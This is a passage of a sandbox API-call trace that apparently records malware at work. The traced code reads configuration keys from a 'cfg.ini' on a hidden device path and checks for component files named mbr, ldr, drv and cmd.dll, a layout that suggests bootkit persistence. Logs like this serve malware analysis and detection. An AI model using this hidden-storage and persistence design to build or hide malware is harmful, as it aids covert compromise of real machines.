MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.091] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.091] IdePortDispatch () returned 0x103 [0129.091] KeWaitForMutexObject () returned 0x0 [0129.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.091] KeLeaveCriticalRegion () [0129.091] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.092] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.092] KeEnterCriticalRegion () [0129.092] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.092] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.092] KeLeaveCriticalRegion () [0129.092] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.092] KeEnterCriticalRegion () [0129.092] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.092] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.092] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02d30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.092] KeLeaveCriticalRegion () [0129.092] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.092] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.092] KeEnterCriticalRegion () [0129.092] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.092] ExFreePoolWithTag (P=0xfffffa8003c02c70, Tag=0x0) [0129.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.092] KeLeaveCriticalRegion () [0129.092] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.092] ReleaseMutex (hMutex=0xf0) returned 1 [0129.092] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.093] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.093] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.093] KeEnterCriticalRegion () [0129.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.093] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.093] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.093] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.093] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.093] IdePortDispatch () returned 0x103 [0129.093] KeWaitForMutexObject () returned 0x0 [0129.093] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.093] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.093] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.093] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.093] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.093] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03a50 [0129.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.093] KeLeaveCriticalRegion () [0129.093] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.093] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.093] KeEnterCriticalRegion () [0129.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.093] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.093] KeLeaveCriticalRegion () [0129.093] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.093] KeEnterCriticalRegion () [0129.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.093] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.093] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.093] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.093] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.093] IdePortDispatch () returned 0x103 [0129.094] KeWaitForMutexObject () returned 0x0 [0129.094] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.094] KeLeaveCriticalRegion () [0129.094] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.094] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.094] KeEnterCriticalRegion () [0129.094] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.094] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b97000 [0129.094] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.094] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.094] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.094] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.094] IdePortDispatch () returned 0x103 [0129.094] KeWaitForMutexObject () returned 0x0 [0129.094] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.094] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.094] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.094] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.094] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.094] IdePortDispatch () returned 0x103 [0129.095] KeWaitForMutexObject () returned 0x0 [0129.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.095] KeLeaveCriticalRegion () [0129.095] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.095] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.095] KeEnterCriticalRegion () [0129.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.095] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.095] KeLeaveCriticalRegion () [0129.095] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.095] KeEnterCriticalRegion () [0129.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.095] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.095] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c03b10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.095] KeLeaveCriticalRegion () [0129.095] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.095] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.095] KeEnterCriticalRegion () [0129.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.095] ExFreePoolWithTag (P=0xfffffa8003c03a50, Tag=0x0) [0129.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.096] KeLeaveCriticalRegion () [0129.096] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.096] ReleaseMutex (hMutex=0xf0) returned 1 [0129.096] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.096] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.096] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.096] KeEnterCriticalRegion () [0129.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.096] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.096] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.096] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.096] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.096] IdePortDispatch () returned 0x103 [0129.096] KeWaitForMutexObject () returned 0x0 [0129.096] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.096] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.096] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.096] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.096] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.096] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02120 [0129.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.096] KeLeaveCriticalRegion () [0129.096] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.096] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.096] KeEnterCriticalRegion () [0129.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.096] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.096] KeLeaveCriticalRegion () [0129.096] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.097] KeEnterCriticalRegion () [0129.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.097] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.097] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.097] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.097] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.097] IdePortDispatch () returned 0x103 [0129.097] KeWaitForMutexObject () returned 0x0 [0129.097] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.097] KeLeaveCriticalRegion () [0129.097] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.097] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.097] KeEnterCriticalRegion () [0129.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.097] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b98000 [0129.097] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.097] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.097] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.097] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.097] IdePortDispatch () returned 0x103 [0129.097] KeWaitForMutexObject () returned 0x0 [0129.097] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.097] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.098] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.098] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.098] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.098] IdePortDispatch () returned 0x103 [0129.098] KeWaitForMutexObject () returned 0x0 [0129.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.098] KeLeaveCriticalRegion () [0129.098] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.098] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.098] KeEnterCriticalRegion () [0129.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.098] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.098] KeLeaveCriticalRegion () [0129.098] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.098] KeEnterCriticalRegion () [0129.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.099] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.099] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.099] KeLeaveCriticalRegion () [0129.099] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.099] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.099] KeEnterCriticalRegion () [0129.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.099] ExFreePoolWithTag (P=0xfffffa8003c02120, Tag=0x0) [0129.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.099] KeLeaveCriticalRegion () [0129.099] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.099] ReleaseMutex (hMutex=0xf0) returned 1 [0129.099] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.099] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.099] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.099] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.099] KeEnterCriticalRegion () [0129.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.099] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.099] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.099] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.099] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.099] IdePortDispatch () returned 0x103 [0129.100] KeWaitForMutexObject () returned 0x0 [0129.100] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.100] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.100] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.100] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.100] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.100] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.100] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.100] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.100] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.100] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.100] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.100] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.100] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.100] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.100] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.100] KeLeaveCriticalRegion () [0129.100] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.100] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.100] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.100] KeEnterCriticalRegion () [0129.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.100] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.100] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.100] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.100] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.100] IdePortDispatch () returned 0x103 [0129.101] KeWaitForMutexObject () returned 0x0 [0129.101] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.101] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.101] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.101] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.101] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.101] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.101] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.101] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.101] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.101] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.101] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.101] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.101] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.101] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.101] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.101] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.101] KeLeaveCriticalRegion () [0129.101] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.101] ReleaseMutex (hMutex=0x100) returned 1 [0129.101] Sleep (dwMilliseconds=0x2bf20) [0129.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70260b50, dwHighDateTime=0x1d24fa4)) [0129.108] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.108] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.108] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.108] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.108] KeEnterCriticalRegion () [0129.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.108] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.108] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.108] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.108] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.108] IdePortDispatch () returned 0x103 [0129.108] KeWaitForMutexObject () returned 0x0 [0129.109] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.109] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.109] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.109] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.109] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.109] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02310 [0129.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.109] KeLeaveCriticalRegion () [0129.109] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.109] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.109] KeEnterCriticalRegion () [0129.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 